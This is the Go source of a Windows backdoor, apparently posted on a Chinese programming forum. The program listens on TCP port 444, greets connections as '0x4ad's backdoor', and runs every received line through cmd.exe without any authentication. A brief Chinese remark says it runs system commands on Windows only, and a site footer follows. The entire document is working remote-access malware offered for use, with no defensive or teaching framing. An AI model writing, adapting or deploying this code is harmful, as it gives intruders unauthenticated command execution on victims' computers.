package main import ( "fmt" "net" "os/exec" "strings" ) var left = "#shell:" func main() { ln, err := net.Listen("tcp", ":444") buffRecv := make([]byte, 128) if err != nil { err.Error() } for { conn, err := ln.Accept() showMSG(conn) if err != nil { continue } c := []byte(left) for { conn.Write(c) length, err := conn.Read(buffRecv) if length == 10 { } if err != nil { } //fmt recf str := string(buffRecv[0 : length-2]) if strings.EqualFold(str, "exit") { conn.Close() fmt.Println("break") break } else { if execute(str) { conn.Write([]byte("The Command Exec Successful!\n")) } else { conn.Write([]byte("The Command Exec Fail!\n")) } } buffRecv = make([]byte, 128) } } } func showMSG(conn net.Conn) { msg := "\t\t\twelcome to 0x4ad's backdoor\t\t\n" m := []byte(msg) conn.Write(m) } //execute system command func execute(command string) bool { c := exec.Command("cmd.exe", "/c", command) if err := c.Run(); err != nil { fmt.Println("Error: ", err) } return c.ProcessState.Success() }
主要执行系统命令,仅仅作用于windows。。。
有疑问加站长微信联系(非本文作者)